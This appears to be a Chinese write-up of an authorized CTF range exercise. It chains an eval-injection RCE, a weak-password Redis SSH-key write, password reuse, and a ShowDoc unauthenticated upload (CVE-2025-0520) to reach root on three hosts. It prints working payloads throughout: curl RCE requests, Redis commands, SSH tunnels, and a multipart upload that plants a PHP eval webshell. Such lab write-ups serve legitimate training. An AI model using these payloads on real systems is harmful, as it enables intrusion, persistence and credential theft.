0. 摘要
本题是典型的多层内网 HVV 场景:入口 Web 存在 eval 注入 RCE,内网一台 Redis 以弱口令 + root 权限运行可直接写 SSH 公钥,第二台机器文档里硬编码了入口机器的 root 口令;最后一台是 ShowDoc v2.6.7,可用未授权文件上传(CVE-2025-0520)拿 webshell,其 SQLite 数据库页面里又写着本机 root 口令。整条链 5 个 flag,约 4 分钟完成(含截图与清理)。
目标:
http://47.117.0.114/(用户重置场景后的新入口)时间:2026-10-24 16:26 -- 16:30(Asia/Shanghai)
结果:5/5 Flag 全部拿到 ,测试痕迹已清理
性质:授权靶场 / CTF 训练环境
| Flag | 值 | 位置 |
|---|---|---|
| FLAG1 | flag{03aa5c76a9061aca7356f428dadca851} |
入口容器 192.168.0.100:/flag |
| FLAG2 | flag{4f9b5dcfed3793ff01464427d94f15e7} |
跳板 192.168.0.202:/root/flag |
| FLAG3 | flag{3e4394da3233fd39d8943879300534b2} |
入口容器 /root/flag |
| FLAG4 | flag{1fb333f951f4c5753f59ca68510254ea} |
ShowDoc 172.16.0.153:/flag |
| FLAG5 | flag{c4c89c9961b3802ab9c3b637d16ccd60} |
ShowDoc 172.16.0.153:/root/flag |
1. 环境与拓扑
- 入口:
47.117.0.114:80(Apache/2.4.54 + PHP/7.4.33),47.117.0.114:22000映射到容器 sshd - 入口容器:
192.168.0.100(/flag=FLAG1、/root/flag=FLAG3) - 跳板:
192.168.0.202(6379Redis 6.0.16、22000SSH;双网卡192.168.0.202+172.16.0.233) - 后段:
172.16.0.153(80ShowDoc v2.6.7、22000SSH;/flag=FLAG4、/root/flag=FLAG5) - 平台宿主:
192.168.0.254(22/80/2376/22000),按规则仅侦察、未攻击
#mermaid-svg-HgeMWBeC9zXiPKJD{font-family:"trebuchet ms",verdana,arial,sans-serif;font-size:16px;fill:#333;}@keyframes edge-animation-frame{from{stroke-dashoffset:0;}}@keyframes dash{to{stroke-dashoffset:0;}}#mermaid-svg-HgeMWBeC9zXiPKJD .edge-animation-slow{stroke-dasharray:9,5!important;stroke-dashoffset:900;animation:dash 50s linear infinite;stroke-linecap:round;}#mermaid-svg-HgeMWBeC9zXiPKJD .edge-animation-fast{stroke-dasharray:9,5!important;stroke-dashoffset:900;animation:dash 20s linear infinite;stroke-linecap:round;}#mermaid-svg-HgeMWBeC9zXiPKJD .error-icon{fill:#552222;}#mermaid-svg-HgeMWBeC9zXiPKJD .error-text{fill:#552222;stroke:#552222;}#mermaid-svg-HgeMWBeC9zXiPKJD .edge-thickness-normal{stroke-width:1px;}#mermaid-svg-HgeMWBeC9zXiPKJD .edge-thickness-thick{stroke-width:3.5px;}#mermaid-svg-HgeMWBeC9zXiPKJD .edge-pattern-solid{stroke-dasharray:0;}#mermaid-svg-HgeMWBeC9zXiPKJD .edge-thickness-invisible{stroke-width:0;fill:none;}#mermaid-svg-HgeMWBeC9zXiPKJD .edge-pattern-dashed{stroke-dasharray:3;}#mermaid-svg-HgeMWBeC9zXiPKJD .edge-pattern-dotted{stroke-dasharray:2;}#mermaid-svg-HgeMWBeC9zXiPKJD .marker{fill:#333333;stroke:#333333;}#mermaid-svg-HgeMWBeC9zXiPKJD .marker.cross{stroke:#333333;}#mermaid-svg-HgeMWBeC9zXiPKJD svg{font-family:"trebuchet ms",verdana,arial,sans-serif;font-size:16px;}#mermaid-svg-HgeMWBeC9zXiPKJD p{margin:0;}#mermaid-svg-HgeMWBeC9zXiPKJD .label{font-family:"trebuchet ms",verdana,arial,sans-serif;color:#333;}#mermaid-svg-HgeMWBeC9zXiPKJD .cluster-label text{fill:#333;}#mermaid-svg-HgeMWBeC9zXiPKJD .cluster-label span{color:#333;}#mermaid-svg-HgeMWBeC9zXiPKJD .cluster-label span p{background-color:transparent;}#mermaid-svg-HgeMWBeC9zXiPKJD .label text,#mermaid-svg-HgeMWBeC9zXiPKJD span{fill:#333;color:#333;}#mermaid-svg-HgeMWBeC9zXiPKJD .node rect,#mermaid-svg-HgeMWBeC9zXiPKJD .node circle,#mermaid-svg-HgeMWBeC9zXiPKJD .node ellipse,#mermaid-svg-HgeMWBeC9zXiPKJD .node polygon,#mermaid-svg-HgeMWBeC9zXiPKJD .node path{fill:#ECECFF;stroke:#9370DB;stroke-width:1px;}#mermaid-svg-HgeMWBeC9zXiPKJD .rough-node .label text,#mermaid-svg-HgeMWBeC9zXiPKJD .node .label text,#mermaid-svg-HgeMWBeC9zXiPKJD .image-shape .label,#mermaid-svg-HgeMWBeC9zXiPKJD .icon-shape .label{text-anchor:middle;}#mermaid-svg-HgeMWBeC9zXiPKJD .node .katex path{fill:#000;stroke:#000;stroke-width:1px;}#mermaid-svg-HgeMWBeC9zXiPKJD .rough-node .label,#mermaid-svg-HgeMWBeC9zXiPKJD .node .label,#mermaid-svg-HgeMWBeC9zXiPKJD .image-shape .label,#mermaid-svg-HgeMWBeC9zXiPKJD .icon-shape .label{text-align:center;}#mermaid-svg-HgeMWBeC9zXiPKJD .node.clickable{cursor:pointer;}#mermaid-svg-HgeMWBeC9zXiPKJD .root .anchor path{fill:#333333!important;stroke-width:0;stroke:#333333;}#mermaid-svg-HgeMWBeC9zXiPKJD .arrowheadPath{fill:#333333;}#mermaid-svg-HgeMWBeC9zXiPKJD .edgePath .path{stroke:#333333;stroke-width:2.0px;}#mermaid-svg-HgeMWBeC9zXiPKJD .flowchart-link{stroke:#333333;fill:none;}#mermaid-svg-HgeMWBeC9zXiPKJD .edgeLabel{background-color:rgba(232,232,232, 0.8);text-align:center;}#mermaid-svg-HgeMWBeC9zXiPKJD .edgeLabel p{background-color:rgba(232,232,232, 0.8);}#mermaid-svg-HgeMWBeC9zXiPKJD .edgeLabel rect{opacity:0.5;background-color:rgba(232,232,232, 0.8);fill:rgba(232,232,232, 0.8);}#mermaid-svg-HgeMWBeC9zXiPKJD .labelBkg{background-color:rgba(232, 232, 232, 0.5);}#mermaid-svg-HgeMWBeC9zXiPKJD .cluster rect{fill:#ffffde;stroke:#aaaa33;stroke-width:1px;}#mermaid-svg-HgeMWBeC9zXiPKJD .cluster text{fill:#333;}#mermaid-svg-HgeMWBeC9zXiPKJD .cluster span{color:#333;}#mermaid-svg-HgeMWBeC9zXiPKJD div.mermaidTooltip{position:absolute;text-align:center;max-width:200px;padding:2px;font-family:"trebuchet ms",verdana,arial,sans-serif;font-size:12px;background:hsl(80, 100%, 96.2745098039%);border:1px solid #aaaa33;border-radius:2px;pointer-events:none;z-index:100;}#mermaid-svg-HgeMWBeC9zXiPKJD .flowchartTitleText{text-anchor:middle;font-size:18px;fill:#333;}#mermaid-svg-HgeMWBeC9zXiPKJD rect.text{fill:none;stroke-width:0;}#mermaid-svg-HgeMWBeC9zXiPKJD .icon-shape,#mermaid-svg-HgeMWBeC9zXiPKJD .image-shape{background-color:rgba(232,232,232, 0.8);text-align:center;}#mermaid-svg-HgeMWBeC9zXiPKJD .icon-shape p,#mermaid-svg-HgeMWBeC9zXiPKJD .image-shape p{background-color:rgba(232,232,232, 0.8);padding:2px;}#mermaid-svg-HgeMWBeC9zXiPKJD .icon-shape .label rect,#mermaid-svg-HgeMWBeC9zXiPKJD .image-shape .label rect{opacity:0.5;background-color:rgba(232,232,232, 0.8);fill:rgba(232,232,232, 0.8);}#mermaid-svg-HgeMWBeC9zXiPKJD .label-icon{display:inline-block;height:1em;overflow:visible;vertical-align:-0.125em;}#mermaid-svg-HgeMWBeC9zXiPKJD .node .label-icon path{fill:currentColor;stroke:revert;stroke-width:revert;}#mermaid-svg-HgeMWBeC9zXiPKJD :root{--mermaid-font-family:"trebuchet ms",verdana,arial,sans-serif;} 攻击机
入口 Web 47.117.0.114:80
入口容器 192.168.0.100
跳板 192.168.0.202
后段 ShowDoc 172.16.0.153
平台宿主 192.168.0.254(仅侦察)
交互图:topology.html
2. 入口 Web:ajax.php eval 注入 → RCE(FLAG1)
/ajax.php 源码核心:
php
function do_request($action){ eval($action.'();'); }
if(isset($_POST['action']) && $_POST['action']!=''){ do_request($_POST['action']); }
$action 被拼进 eval(),且入口无任何鉴权。直接 POST:
bash
curl -s -X POST --data-urlencode "action=system('id');//" http://47.117.0.114/ajax.php
若命令里带引号/管道容易被解析打断,可改为双层编码(本 writeup 采用):
text
action = eval(base64_decode('<base64(php code)>'));//
php = system(base64_decode('<base64(shell cmd)>'));
命令回显 uid=33(www-data),读取 /flag:
text
flag{03aa5c76a9061aca7356f428dadca851}
备注:源码里硬编码了
admin / Password_You_NeVeR-Know_hahah_^_^,但登录只返回uid=0,无实际面板,属诱饵,未作为攻击路径。
3. 内网侦察:定位 Redis 跳板(FLAG2)
入口容器网卡:192.168.0.100/24,网关 192.168.0.254;容器内没有 nmap/nc/python,但有 bash、gcc、perl、php、ssh。
用 bash /dev/tcp 扫描器扫 192.168.0.0/24 的关键端口(22/80/6379/22000 等),直连验证已知网段命中:
text
OPEN 192.168.0.202:6379
OPEN 192.168.0.202:22000
OPEN 192.168.0.254:22/80/22000 # 平台宿主,未攻击
生成密钥并用 Perl 手写 RESP 完成 Redis 写公钥(目标无 redis-cli):
perl
AUTH 123456
CONFIG SET dir /root/.ssh
CONFIG SET dbfilename authorized_keys
SET pwn "\n\n<ssh-rsa AAAA...>\n\n"
SAVE
返回全部 +OK,随后:
bash
ssh -i /tmp/k -p 22000 root@192.168.0.202 'id; cat /root/flag'
# uid=0(root)
# flag{4f9b5dcfed3793ff01464427d94f15e7}
4. 凭据复用:入口容器 root(FLAG3)
192.168.0.202:/root/Note.md 的"日常笔记"一节写着:
text
echo "Dev@Bug_C00l123" | passwd --stdin root
该口令即入口容器 root 口令,公网 22000 直接登录:
bash
ssh -p 22000 root@47.117.0.114
cat /root/flag
# flag{3e4394da3233fd39d8943879300534b2}
5. ShowDoc 未授权上传 → webshell(FLAG4)
从入口容器经 .202 建 SSH 本地转发(入口容器无法直达 172.16 网段):
bash
ssh -i /tmp/k -N -L 127.0.0.1:18080:172.16.0.153:80 -p 22000 root@192.168.0.202 &
curl -s -o /dev/null -w '%{http_code}\n' http://127.0.0.1:18080/ # 302
ShowDoc v2.6.7(composer.json 版本),Home/PageController::uploadImg 未鉴权;代码设置 allowExts 但 TP3.2 实际用 exts,白名单失效;且只拦文件名中的 .php 字面量。构造 multipart:
text
POST /index.php?s=/home/page/uploadImg
Content-Type: multipart/form-data; boundary=----X
------X
Content-Disposition: form-data; name="editormd-image-file"; filename="test.<>php"
Content-Type: text/plain
<?php @eval($_GET["c"]); ?>
------X--
响应:
json
{"url":"http://127.0.0.1:18080/Public/Uploads/2026-10-24/6adc6c4c287ab.php","success":1}
执行 c=system('cat /flag'); 得到:
text
flag{1fb333f951f4c5753f59ca68510254ea}
排坑:webshell 的
eval语句必须以;结尾,否则报unexpected end of file。
6. SQLite 取证 → root 口令(FLAG5)
ShowDoc 数据库 Sqlite/showdoc.db.php 本质是 raw SQLite,直接请求会被 PHP 解析报错,先复制成非 .php 再取回:
bash
cp /var/www/html/Sqlite/showdoc.db.php /var/www/html/Public/Uploads/2026-10-24/showdoc.db.txt
# 本地经隧道下载后分析(md5 9584e6d4a8231faac57281a0e3de8fd1,258048 字节)
页面 page_id=22「服务器维护」内容:
text
## 服务器信息
IP: 127.0.0.1
echo 'root:Test@1234.' | chpasswd //测试
用该口令经 .202 跳板登录 172.16.0.153:22000:
bash
ssh -p 22000 root@172.16.0.153 'cat /root/flag'
# flag{c4c89c9961b3802ab9c3b637d16ccd60}
7. Flag 汇总
| Flag | 值 | 获取点 |
|---|---|---|
| FLAG1 | flag{03aa5c76a9061aca7356f428dadca851} |
入口容器 /flag(eval RCE,www-data) |
| FLAG2 | flag{4f9b5dcfed3793ff01464427d94f15e7} |
.202 /root/flag(Redis 写公钥) |
| FLAG3 | flag{3e4394da3233fd39d8943879300534b2} |
入口容器 /root/flag(Note.md 口令复用) |
| FLAG4 | flag{1fb333f951f4c5753f59ca68510254ea} |
ShowDoc /flag(CVE-2025-0520) |
| FLAG5 | flag{c4c89c9961b3802ab9c3b637d16ccd60} |
ShowDoc /root/flag(SQLite 口令) |
时序图:flagchain.html;时间线:run.html
8. 清理与复现说明
.153:删除上传的 webshell 与showdoc.db.txt,目录核验为空.100:删除 webroot 下的sd.db、/tmp全部脚本、终止隧道进程;webroot 恢复原始 3 文件.202:删除写入的/root/.ssh/authorized_keys- 脚本与证据:
tools/(rce.ps1、pwn_redis.pl、tun.sh、sd_pwn.sh、wsh.sh、ssh153.sh、clean153.sh)、evidence/showdoc.db
9. 图形附件(Archify)
| 图 | 文件 | 说明 |
|---|---|---|
| 攻击面拓扑 | topology.html | 入口/跳板/后段/宿主与 5 个 flag 路径 |
| 攻击时序 | flagchain.html | 从 eval 注入到 root 的 12 步时序 |
| 实战时间线 | run.html | 16:26--16:30 的侦察/横向/收割/清理 |
静态校验:archify check 三图均 issues: [](render --quality showcase)。
门禁说明:
archify finalize的 browser-check 在 DSH elevated 会话下会因 Chrome/Edge 提权重启导致 DevTools pipe 断开(spawn EINVAL/read pipe stream ended),本机未跑;已用 headless Edge 截图人工复核(screenshots/*.png),并执行archify check作为替代校验。